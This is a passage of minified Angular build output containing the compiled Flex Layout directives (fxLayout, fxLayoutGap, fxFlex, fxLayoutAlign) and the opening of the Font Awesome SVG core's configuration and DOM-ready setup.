gt-lg"},features:[n.qOj]}),De})())(),bt=(()=>(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=n.oAB({type:De}),De.\\u0275inj=n.cJS({imports:[s.IR]}),De})())()},6784:(At,ae,d)=>{"use strict";d.d(ae,{o9:()=>vt});var n=d(4650),a=d(6895),s=d(5107),u=d(1600),c=d(4916);d(1281);let on=(()=>(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[s.IR]}),O})())(),vt=(()=>(()=>{class O{constructor(h,$){(0,a.PM)($)&&!h&&console.warn("Warning: Flex Layout loaded on the server without FlexLayoutServerModule")}static withConfig(h,$=[]){return{ngModule:O,providers:h.serverLoaded?[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0},{provide:s.wY,useValue:!0}]:[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0}]}}}return O.\\u0275fac=function(h){return new(h||O)(n.LFG(s.wY),n.LFG(n.Lbi))},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[c.ae,u.aT,on,c.ae,u.aT,on]}),O})())()},4916:(At,ae,d)=>{"use strict";d.d(ae,{SQ:()=>q,Wh:()=>Fe,XD:()=>wt,ae:()=>jt,xw:()=>Q,yH:()=>re});var n=d(4650),a=d(5107),s=d(445),u=d(8929),c=d(7625);const f="inline",E=["row","column","row-reverse","column-reverse"];function S(pt){pt=pt?pt.toLowerCase():"";let[nt,fe,Ee]=pt.split(" ");return E.find(at=>at===nt)||(nt=E[0]),fe===f&&(fe=Ee!==f?Ee:"",Ee=f),[nt,C(fe),!!Ee]}function g(pt){let[nt]=S(pt);return nt.indexOf("row")>-1}function C(pt){if(pt)switch(pt.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":pt="wrap-reverse";break;case"no":case"none":case"nowrap":pt="nowrap";break;default:pt="wrap"}return pt}let H=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){return function _(pt){let[nt,fe,Ee]=S(pt);return function z(pt,nt=null,fe=!1){return{display:fe?"inline-flex":"flex","box-sizing":"border-box","flex-direction":pt,"flex-wrap":nt||null}}(nt,fe,Ee)}(Ee)}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const j=["fxLayout","fxLayout.xs","fxLayout.sm","fxLayout.md","fxLayout.lg","fxLayout.xl","fxLayout.lt-sm","fxLayout.lt-md","fxLayout.lt-lg","fxLayout.lt-xl","fxLayout.gt-xs","fxLayout.gt-sm","fxLayout.gt-md","fxLayout.gt-lg"];let G=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout",this.styleCache=oe,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(H),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Q=(()=>(()=>{class nt extends G{constructor(){super(...arguments),this.inputs=j}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayout",""],["","fxLayout.xs",""],["","fxLayout.sm",""],["","fxLayout.md",""],["","fxLayout.lg",""],["","fxLayout.xl",""],["","fxLayout.lt-sm",""],["","fxLayout.lt-md",""],["","fxLayout.lt-lg",""],["","fxLayout.lt-xl",""],["","fxLayout.gt-xs",""],["","fxLayout.gt-sm",""],["","fxLayout.gt-md",""],["","fxLayout.gt-lg",""]],inputs:{fxLayout:"fxLayout","fxLayout.xs":"fxLayout.xs","fxLayout.sm":"fxLayout.sm","fxLayout.md":"fxLayout.md","fxLayout.lg":"fxLayout.lg","fxLayout.xl":"fxLayout.xl","fxLayout.lt-sm":"fxLayout.lt-sm","fxLayout.lt-md":"fxLayout.lt-md","fxLayout.lt-lg":"fxLayout.lt-lg","fxLayout.lt-xl":"fxLayout.lt-xl","fxLayout.gt-xs":"fxLayout.gt-xs","fxLayout.gt-sm":"fxLayout.gt-sm","fxLayout.gt-md":"fxLayout.gt-md","fxLayout.gt-lg":"fxLayout.gt-lg"},features:[n.qOj]}),nt})())();const oe=new Map,Ce={"margin-left":null,"margin-right":null,"margin-top":null,"margin-bottom":null};let k=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this._styler=Ee}buildStyles(Ee,at){return Ee.endsWith(le)?function Qe(pt,nt){const[fe,Ee]=pt.split(" "),Se=Rt=>`-${Rt}`;let ot="0px",Ne=Se(Ee||fe),ut="0px";return"rtl"===nt?ut=Se(fe):ot=Se(fe),{margin:`0px ${ot} ${Ne} ${ut}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),at.directionality):{}}sideEffect(Ee,at,Se){const ot=Se.items;if(Ee.endsWith(le)){const Ne=function Oe(pt,nt){const[fe,Ee]=pt.split(" ");let Se="0px",Ne="0px";return"rtl"===nt?Ne=fe:Se=fe,{padding:`0px ${Se} ${Ee||fe} ${Ne}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),Se.directionality);this._styler.applyStyleToElements(Ne,Se.items)}else{const Ne=ot.pop(),ut=function qe(pt,nt){const fe=Ye(nt.directionality,nt.layout),Ee=Object.assign({},Ce);return Ee[fe]=pt,Ee}(Ee,Se);this._styler.applyStyleToElements(ut,ot),this._styler.applyStyleToElements(Ce,[Ne])}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.RK))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.RK))},token:nt,providedIn:"root"}),nt})())();const K=["fxLayoutGap","fxLayoutGap.xs","fxLayoutGap.sm","fxLayoutGap.md","fxLayoutGap.lg","fxLayoutGap.xl","fxLayoutGap.lt-sm","fxLayoutGap.lt-md","fxLayoutGap.lt-lg","fxLayoutGap.lt-xl","fxLayoutGap.gt-xs","fxLayoutGap.gt-sm","fxLayoutGap.gt-md","fxLayoutGap.gt-lg"];let ee=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne,ut){super(Ee,Ne,ot,ut),this.zone=at,this.directionality=Se,this.styleUtils=ot,this.layout="row",this.DIRECTIVE_KEY="layout-gap",this.observerSubject=new u.xQ;const Rt=[this.directionality.change,this.observerSubject.asObservable()];this.init(Rt),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}get childrenNodes(){const Ee=this.nativeElement.children,at=[];for(let Se=Ee.length;Se--;)at[Se]=Ee[Se];return at}ngAfterContentInit(){this.buildChildObservable(),this.triggerUpdate()}ngOnDestroy(){super.ngOnDestroy(),this.observer&&this.observer.disconnect()}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.layout=Se[0],E.find(ot=>ot===this.layout)||(this.layout="row"),this.triggerUpdate()}updateWithValue(Ee){const at=this.childrenNodes.filter(Se=>1===Se.nodeType&&this.willDisplay(Se)).sort((Se,ot)=>{const Ne=+this.styler.lookupStyle(Se,"order"),ut=+this.styler.lookupStyle(ot,"order");return isNaN(Ne)||isNaN(ut)||Ne===ut?0:Ne>ut?1:-1});if(at.length>0){const Se=this.directionality.value,ot=this.layout;"row"===ot&&"rtl"===Se?this.styleCache=we:"row"===ot&&"rtl"!==Se?this.styleCache=je:"column"===ot&&"rtl"===Se?this.styleCache=ce:"column"===ot&&"rtl"!==Se&&(this.styleCache=Ze),this.addStyles(Ee,{directionality:Se,items:at,layout:ot})}}clearStyles(){const Ee=Object.keys(this.mru).length>0,at=Ee?"padding":Ye(this.directionality.value,this.layout);Ee&&super.clearStyles(),this.styleUtils.applyStyleToElements({[at]:""},this.childrenNodes)}willDisplay(Ee){const at=this.marshal.getValue(Ee,"show-hide");return!0===at||void 0===at&&"none"!==this.styleUtils.lookupStyle(Ee,"display")}buildChildObservable(){this.zone.runOutsideAngular(()=>{typeof MutationObserver<"u"&&(this.observer=new MutationObserver(Ee=>{Ee.some(Se=>Se.addedNodes&&Se.addedNodes.length>0||Se.removedNodes&&Se.removedNodes.length>0)&&this.observerSubject.next()}),this.observer.observe(this.nativeElement,{childList:!0}))})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(s.Is),n.Y36(a.RK),n.Y36(k),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),q=(()=>(()=>{class nt extends ee{constructor(){super(...arguments),this.inputs=K}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutGap",""],["","fxLayoutGap.xs",""],["","fxLayoutGap.sm",""],["","fxLayoutGap.md",""],["","fxLayoutGap.lg",""],["","fxLayoutGap.xl",""],["","fxLayoutGap.lt-sm",""],["","fxLayoutGap.lt-md",""],["","fxLayoutGap.lt-lg",""],["","fxLayoutGap.lt-xl",""],["","fxLayoutGap.gt-xs",""],["","fxLayoutGap.gt-sm",""],["","fxLayoutGap.gt-md",""],["","fxLayoutGap.gt-lg",""]],inputs:{fxLayoutGap:"fxLayoutGap","fxLayoutGap.xs":"fxLayoutGap.xs","fxLayoutGap.sm":"fxLayoutGap.sm","fxLayoutGap.md":"fxLayoutGap.md","fxLayoutGap.lg":"fxLayoutGap.lg","fxLayoutGap.xl":"fxLayoutGap.xl","fxLayoutGap.lt-sm":"fxLayoutGap.lt-sm","fxLayoutGap.lt-md":"fxLayoutGap.lt-md","fxLayoutGap.lt-lg":"fxLayoutGap.lt-lg","fxLayoutGap.lt-xl":"fxLayoutGap.lt-xl","fxLayoutGap.gt-xs":"fxLayoutGap.gt-xs","fxLayoutGap.gt-sm":"fxLayoutGap.gt-sm","fxLayoutGap.gt-md":"fxLayoutGap.gt-md","fxLayoutGap.gt-lg":"fxLayoutGap.gt-lg"},features:[n.qOj]}),nt})())();const we=new Map,ce=new Map,je=new Map,Ze=new Map,le=" grid";function Ye(pt,nt){switch(nt){case"column":return"margin-bottom";case"column-reverse":return"margin-top";case"row":default:return"rtl"===pt?"margin-left":"margin-right";case"row-reverse":return"rtl"===pt?"margin-right":"margin-left"}}function Ke(pt,...nt){if(null==pt)throw TypeError("Cannot convert undefined or null to object");for(let fe of nt)if(null!=fe)for(let Ee in fe)fe.hasOwnProperty(Ee)&&(pt[Ee]=fe[Ee]);return pt}let dt=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this.layoutConfig=Ee}buildStyles(Ee,at){let[Se,ot,...Ne]=Ee.split(" "),ut=Ne.join(" ");const Rt=at.direction.indexOf("column")>-1?"column":"row",Zt=g(Rt)?"max-width":"max-height",a1=g(Rt)?"min-width":"min-height",_1=String(ut).indexOf("calc")>-1,G1=_1||"auto"===ut,gn=String(ut).indexOf("%")>-1&&!_1,nn=String(ut).indexOf("px")>-1||String(ut).indexOf("rem")>-1||String(ut).indexOf("em")>-1||String(ut).indexOf("vw")>-1||String(ut).indexOf("vh")>-1;let P1=_1||nn;Se="0"==Se?0:Se,ot="0"==ot?0:ot;const on=!Se&&!ot;let Ge={};const vt={"max-width":null,"max-height":null,"min-width":null,"min-height":null};switch(ut||""){case"":ut="row"===Rt?"0%":!1!==this.layoutConfig.useColumnBasisZero?"0.000000001px":"auto";break;case"initial":case"nogrow":Se=0,ut="auto";break;case"grow":ut="100%";break;case"noshrink":ot=0,ut="auto";break;case"auto":break;case"none":Se=0,ot=0,ut="auto";break;default:!P1&&!gn&&!isNaN(ut)&&(ut+="%"),"0%"===ut&&(P1=!0),"0px"===ut&&(ut="0%"),Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":P1?ut:"100%"}:{flex:`${Se} ${ot} ${P1?ut:"100%"}`})}return Ge.flex||Ge["flex-grow"]||(Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`})),"0%"!==ut&&"0px"!==ut&&"0.000000001px"!==ut&&"auto"!==ut&&(Ge[a1]=on||P1&&Se?ut:null,Ge[Zt]=on||!G1&&ot?ut:null),Ge[a1]||Ge[Zt]?at.hasWrap&&(Ge[_1?"flex-basis":"flex"]=Ge[Zt]?_1?Ge[Zt]:`${Se} ${ot} ${Ge[Zt]}`:_1?Ge[a1]:`${Se} ${ot} ${Ge[a1]}`):Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`}),Ke(Ge,{"box-sizing":"border-box"})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.WU))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.WU))},token:nt,providedIn:"root"}),nt})())();const bt=["fxFlex","fxFlex.xs","fxFlex.sm","fxFlex.md","fxFlex.lg","fxFlex.xl","fxFlex.lt-sm","fxFlex.lt-md","fxFlex.lt-lg","fxFlex.lt-xl","fxFlex.gt-xs","fxFlex.gt-sm","fxFlex.gt-md","fxFlex.gt-lg"];let De=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne){super(Ee,ot,at,Ne),this.layoutConfig=Se,this.marshal=Ne,this.DIRECTIVE_KEY="flex",this.direction=void 0,this.wrap=void 0,this.flexGrow="1",this.flexShrink="1",this.init()}get shrink(){return this.flexShrink}set shrink(Ee){this.flexShrink=Ee||"1",this.triggerReflow()}get grow(){return this.flexGrow}set grow(Ee){this.flexGrow=Ee||"1",this.triggerReflow()}ngOnInit(){this.parentElement&&(this.marshal.trackValue(this.parentElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this)),this.marshal.trackValue(this.nativeElement,"layout-align").pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerReflow.bind(this)))}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.direction=Se[0],this.wrap=void 0!==Se[1]&&"wrap"===Se[1],this.triggerUpdate()}updateWithValue(Ee){void 0===this.direction&&(this.direction=this.getFlexFlowDirection(this.parentElement,!1!==this.layoutConfig.addFlexToParent)),void 0===this.wrap&&(this.wrap=this.hasWrap(this.parentElement));const Se=this.direction,ot=Se.startsWith("row"),Ne=this.wrap;ot&&Ne?this.styleCache=xt:ot&&!Ne?this.styleCache=ve:!ot&&Ne?this.styleCache=Be:!ot&&!Ne&&(this.styleCache=We);const ut=String(Ee).replace(";",""),Rt=(0,a.Ot)(ut,this.flexGrow,this.flexShrink);this.addStyles(Rt.join(" "),{direction:Se,hasWrap:Ne})}triggerReflow(){const Ee=this.activatedValue;if(void 0!==Ee){const at=(0,a.Ot)(Ee+"",this.flexGrow,this.flexShrink);this.marshal.updateElement(this.nativeElement,this.DIRECTIVE_KEY,at.join(" "))}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(a.WU),n.Y36(dt),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,inputs:{shrink:["fxShrink","shrink"],grow:["fxGrow","grow"]},features:[n.qOj]}),nt})())(),re=(()=>(()=>{class nt extends De{constructor(){super(...arguments),this.inputs=bt}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlex",""],["","fxFlex.xs",""],["","fxFlex.sm",""],["","fxFlex.md",""],["","fxFlex.lg",""],["","fxFlex.xl",""],["","fxFlex.lt-sm",""],["","fxFlex.lt-md",""],["","fxFlex.lt-lg",""],["","fxFlex.lt-xl",""],["","fxFlex.gt-xs",""],["","fxFlex.gt-sm",""],["","fxFlex.gt-md",""],["","fxFlex.gt-lg",""]],inputs:{fxFlex:"fxFlex","fxFlex.xs":"fxFlex.xs","fxFlex.sm":"fxFlex.sm","fxFlex.md":"fxFlex.md","fxFlex.lg":"fxFlex.lg","fxFlex.xl":"fxFlex.xl","fxFlex.lt-sm":"fxFlex.lt-sm","fxFlex.lt-md":"fxFlex.lt-md","fxFlex.lt-lg":"fxFlex.lt-lg","fxFlex.lt-xl":"fxFlex.lt-xl","fxFlex.gt-xs":"fxFlex.gt-xs","fxFlex.gt-sm":"fxFlex.gt-sm","fxFlex.gt-md":"fxFlex.gt-md","fxFlex.gt-lg":"fxFlex.gt-lg"},features:[n.qOj]}),nt})())();const ve=new Map,We=new Map,xt=new Map,Be=new Map;let b=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){const at={};switch(Ee=Ee||"stretch"){case"start":at["align-self"]="flex-start";break;case"end":at["align-self"]="flex-end";break;default:at["align-self"]=Ee}return at}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const B=["fxFlexAlign","fxFlexAlign.xs","fxFlexAlign.sm","fxFlexAlign.md","fxFlexAlign.lg","fxFlexAlign.xl","fxFlexAlign.lt-sm","fxFlexAlign.lt-md","fxFlexAlign.lt-lg","fxFlexAlign.lt-xl","fxFlexAlign.gt-xs","fxFlexAlign.gt-sm","fxFlexAlign.gt-md","fxFlexAlign.gt-lg"];let Xe=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="flex-align",this.styleCache=it,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(b),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())();const it=new Map;let wt=(()=>(()=>{class nt extends Xe{constructor(){super(...arguments),this.inputs=B}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlexAlign",""],["","fxFlexAlign.xs",""],["","fxFlexAlign.sm",""],["","fxFlexAlign.md",""],["","fxFlexAlign.lg",""],["","fxFlexAlign.xl",""],["","fxFlexAlign.lt-sm",""],["","fxFlexAlign.lt-md",""],["","fxFlexAlign.lt-lg",""],["","fxFlexAlign.lt-xl",""],["","fxFlexAlign.gt-xs",""],["","fxFlexAlign.gt-sm",""],["","fxFlexAlign.gt-md",""],["","fxFlexAlign.gt-lg",""]],inputs:{fxFlexAlign:"fxFlexAlign","fxFlexAlign.xs":"fxFlexAlign.xs","fxFlexAlign.sm":"fxFlexAlign.sm","fxFlexAlign.md":"fxFlexAlign.md","fxFlexAlign.lg":"fxFlexAlign.lg","fxFlexAlign.xl":"fxFlexAlign.xl","fxFlexAlign.lt-sm":"fxFlexAlign.lt-sm","fxFlexAlign.lt-md":"fxFlexAlign.lt-md","fxFlexAlign.lt-lg":"fxFlexAlign.lt-lg","fxFlexAlign.lt-xl":"fxFlexAlign.lt-xl","fxFlexAlign.gt-xs":"fxFlexAlign.gt-xs","fxFlexAlign.gt-sm":"fxFlexAlign.gt-sm","fxFlexAlign.gt-md":"fxFlexAlign.gt-md","fxFlexAlign.gt-lg":"fxFlexAlign.gt-lg"},features:[n.qOj]}),nt})())(),c1=(()=>(()=>{class nt extends a.QI{buildStyles(Ee,at){const Se={},[ot,Ne]=Ee.split(" ");switch(ot){case"center":Se["justify-content"]="center";break;case"space-around":Se["justify-content"]="space-around";break;case"space-between":Se["justify-content"]="space-between";break;case"space-evenly":Se["justify-content"]="space-evenly";break;case"end":case"flex-end":Se["justify-content"]="flex-end";break;default:Se["justify-content"]="flex-start"}switch(Ne){case"start":case"flex-start":Se["align-items"]=Se["align-content"]="flex-start";break;case"center":Se["align-items"]=Se["align-content"]="center";break;case"end":case"flex-end":Se["align-items"]=Se["align-content"]="flex-end";break;case"space-between":Se["align-content"]="space-between",Se["align-items"]="stretch";break;case"space-around":Se["align-content"]="space-around",Se["align-items"]="stretch";break;case"baseline":Se["align-content"]="stretch",Se["align-items"]="baseline";break;default:Se["align-items"]=Se["align-content"]="stretch"}return Ke(Se,{display:at.inline?"inline-flex":"flex","flex-direction":at.layout,"box-sizing":"border-box","max-width":"stretch"===Ne?g(at.layout)?null:"100%":null,"max-height":"stretch"===Ne&&g(at.layout)?"100%":null})}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const It=["fxLayoutAlign","fxLayoutAlign.xs","fxLayoutAlign.sm","fxLayoutAlign.md","fxLayoutAlign.lg","fxLayoutAlign.xl","fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg"];let kt=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout-align",this.layout="row",this.inline=!1,this.init(),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}updateWithValue(Ee){const at=this.layout||"row",Se=this.inline;"row"===at&&Se?this.styleCache=xe:"row"!==at||Se?"row-reverse"===at&&Se?this.styleCache=Ae:"row-reverse"!==at||Se?"column"===at&&Se?this.styleCache=J:"column"!==at||Se?"column-reverse"===at&&Se?this.styleCache=mt:"column-reverse"===at&&!Se&&(this.styleCache=Ue):this.styleCache=Pe:this.styleCache=Re:this.styleCache=be,this.addStyles(Ee,{layout:at,inline:Se})}onLayoutChange(Ee){const at=Ee.value.split(" ");this.layout=at[0],this.inline=Ee.value.includes("inline"),E.find(Se=>Se===this.layout)||(this.layout="row"),this.triggerUpdate()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(c1),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Fe=(()=>(()=>{class nt extends kt{constructor(){super(...arguments),this.inputs=It}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutAlign",""],["","fxLayoutAlign.xs",""],["","fxLayoutAlign.sm",""],["","fxLayoutAlign.md",""],["","fxLayoutAlign.lg",""],["","fxLayoutAlign.xl",""],["","fxLayoutAlign.lt-sm",""],["","fxLayoutAlign.lt-md",""],["","fxLayoutAlign.lt-lg",""],["","fxLayoutAlign.lt-xl",""],["","fxLayoutAlign.gt-xs",""],["","fxLayoutAlign.gt-sm",""],["","fxLayoutAlign.gt-md",""],["","fxLayoutAlign.gt-lg",""]],inputs:{fxLayoutAlign:"fxLayoutAlign","fxLayoutAlign.xs":"fxLayoutAlign.xs","fxLayoutAlign.sm":"fxLayoutAlign.sm","fxLayoutAlign.md":"fxLayoutAlign.md","fxLayoutAlign.lg":"fxLayoutAlign.lg","fxLayoutAlign.xl":"fxLayoutAlign.xl","fxLayoutAlign.lt-sm":"fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md":"fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg":"fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl":"fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs":"fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm":"fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md":"fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg":"fxLayoutAlign.gt-lg"},features:[n.qOj]}),nt})())();const be=new Map,Pe=new Map,Re=new Map,Ue=new Map,xe=new Map,J=new Map,Ae=new Map,mt=new Map;let jt=(()=>(()=>{class nt{}return nt.\\u0275fac=function(Ee){return new(Ee||nt)},nt.\\u0275mod=n.oAB({type:nt}),nt.\\u0275inj=n.cJS({imports:[a.IR,s.vT]}),nt})())()},5951:(At,ae,d)=>{"use strict";function n(ye){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(st){return typeof st}:function(st){return st&&"function"==typeof Symbol&&st.constructor===Symbol&&st!==Symbol.prototype?"symbol":typeof st})(ye)}function s(ye,st){for(var I=0;I<st.length;I++){var L=st[I];L.enumerable=L.enumerable||!1,L.configurable=!0,"value"in L&&(L.writable=!0),Object.defineProperty(ye,L.key,L)}}function c(ye,st,I){return st in ye?Object.defineProperty(ye,st,{value:I,enumerable:!0,configurable:!0,writable:!0}):ye[st]=I,ye}function f(ye){for(var st=1;st<arguments.length;st++){var I=null!=arguments[st]?arguments[st]:{},L=Object.keys(I);"function"==typeof Object.getOwnPropertySymbols&&(L=L.concat(Object.getOwnPropertySymbols(I).filter(function(T){return Object.getOwnPropertyDescriptor(I,T).enumerable}))),L.forEach(function(T){c(ye,T,I[T])})}return ye}function E(ye,st){return function g(ye){if(Array.isArray(ye))return ye}(ye)||function z(ye,st){var I=[],L=!0,T=!1,ue=void 0;try{for(var Ot,gt=ye[Symbol.iterator]();!(L=(Ot=gt.next()).done)&&(I.push(Ot.value),!st||I.length!==st);L=!0);}catch(Jt){T=!0,ue=Jt}finally{try{!L&&null!=gt.return&>.return()}finally{if(T)throw ue}}return I}(ye,st)||function j(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}function _(ye){return function S(ye){if(Array.isArray(ye)){for(var st=0,I=new Array(ye.length);st<ye.length;st++)I[st]=ye[st];return I}}(ye)||function C(ye){if(Symbol.iterator in Object(ye)||"[object Arguments]"===Object.prototype.toString.call(ye))return Array.from(ye)}(ye)||function H(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}d.d(ae,{vI:()=>_n,vz:()=>si});var U=function(){},G={},Q={},oe=null,Ce={mark:U,measure:U};try{typeof window<"u"&&(G=window),typeof document<"u"&&(Q=document),typeof MutationObserver<"u"&&(oe=MutationObserver),typeof performance<"u"&&(Ce=performance)}catch{}var K=(G.navigator||{}).userAgent,se=void 0===K?"":K,ee=G,q=Q,we=oe,ce=Ce,Ze=!!q.documentElement&&!!q.head&&"function"==typeof q.addEventListener&&"function"==typeof q.createElement,le=~se.indexOf("MSIE")||~se.indexOf("Trident/"),Oe="___FONT_AWESOME___",Qe=16,Ye="fa",qe="svg-inline--fa",Ke="data-fa-i2svg",dt="data-fa-pseudo-element",bt="data-fa-pseudo-element-pending",ze="data-prefix",De="data-icon",re="fontawesome-i2svg",ve="async",We=["HTML","HEAD","STYLE","SCRIPT"],xt=function(){try{return!0}catch{return!1}}(),Be={fas:"solid",far:"regular",fal:"light",fad:"duotone",fab:"brands",fak:"kit",fa:"solid"},pe={solid:"fas",regular:"far",light:"fal",duotone:"fad",brands:"fab",kit:"fak"},P="fa-layers-text",w=/Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i,R={900:"fas",400:"far",normal:"far",300:"fal"},X=[1,2,3,4,5,6,7,8,9,10],_e=X.concat([11,12,13,14,15,16,17,18,19,20]),ct=["class","data-prefix","data-icon","data-fa-transform","data-fa-mask"],Je={GROUP:"group",SWAP_OPACITY:"swap-opacity",PRIMARY:"primary",SECONDARY:"secondary"},Et=["xs","sm","lg","fw","ul","li","border","pull-left","pull-right","spin","pulse","rotate-90","rotate-180","rotate-270","flip-horizontal","flip-vertical","flip-both","stack","stack-1x","stack-2x","inverse","layers","layers-text","layers-counter",Je.GROUP,Je.SWAP_OPACITY,Je.PRIMARY,Je.SECONDARY].concat(X.map(function(ye){return"".concat(ye,"x")})).concat(_e.map(function(ye){return"w-".concat(ye)})),Dt=ee.FontAwesomeConfig||{};q&&"function"==typeof q.querySelector&&[["data-family-prefix","familyPrefix"],["data-replacement-class","replacementClass"],["data-auto-replace-svg","autoReplaceSvg"],["data-auto-add-css","autoAddCss"],["data-auto-a11y","autoA11y"],["data-search-pseudo-elements","searchPseudoElements"],["data-observe-mutations","observeMutations"],["data-mutate-approach","mutateApproach"],["data-keep-original-source","keepOriginalSource"],["data-measure-performance","measurePerformance"],["data-show-missing-icons","showMissingIcons"]].forEach(function(ye){var st=E(ye,2),L=st[1],T=function Ie(ye){return""===ye||"false"!==ye&&("true"===ye||ye)}(function Pt(ye){var st=q.querySelector("script["+ye+"]");if(st)return st.getAttribute(ye)}(st[0]));null!=T&&(Dt[L]=T)});var m=f({},{familyPrefix:Ye,replacementClass:qe,autoReplaceSvg:!0,autoAddCss:!0,autoA11y:!0,searchPseudoElements:!1,observeMutations:!0,mutateApproach:"async",keepOriginalSource:!0,measurePerformance:!1,showMissingIcons:!0},Dt);m.autoReplaceSvg||(m.observeMutations=!1);var b=f({},m);ee.FontAwesomeConfig=b;var B=ee||{};B[Oe]||(B[Oe]={}),B[Oe].styles||(B[Oe].styles={}),B[Oe].hooks||(B[Oe].hooks={}),B[Oe].shims||(B[Oe].shims=[]);var ie=B[Oe],Xe=[],wt=!1;Ze&&((wt=(q.documentElement.doScroll?/^loaded|^c/:/^loaded|^i|^c/).test(q.readyState))||q.addEventListener("DOMContentLoaded",function ye(){q.removeEventListener("DOMContentLoaded",ye),wt=1,Xe.map(function(st){return st()})}));var be,Gt="pending",qt="settled",u1="fulfilled",c1="rejected",It=function(){},_t=typeof global<"u"&&typeof global.process<"u"&&"function"==typeof global.process.emit,kt=typeof 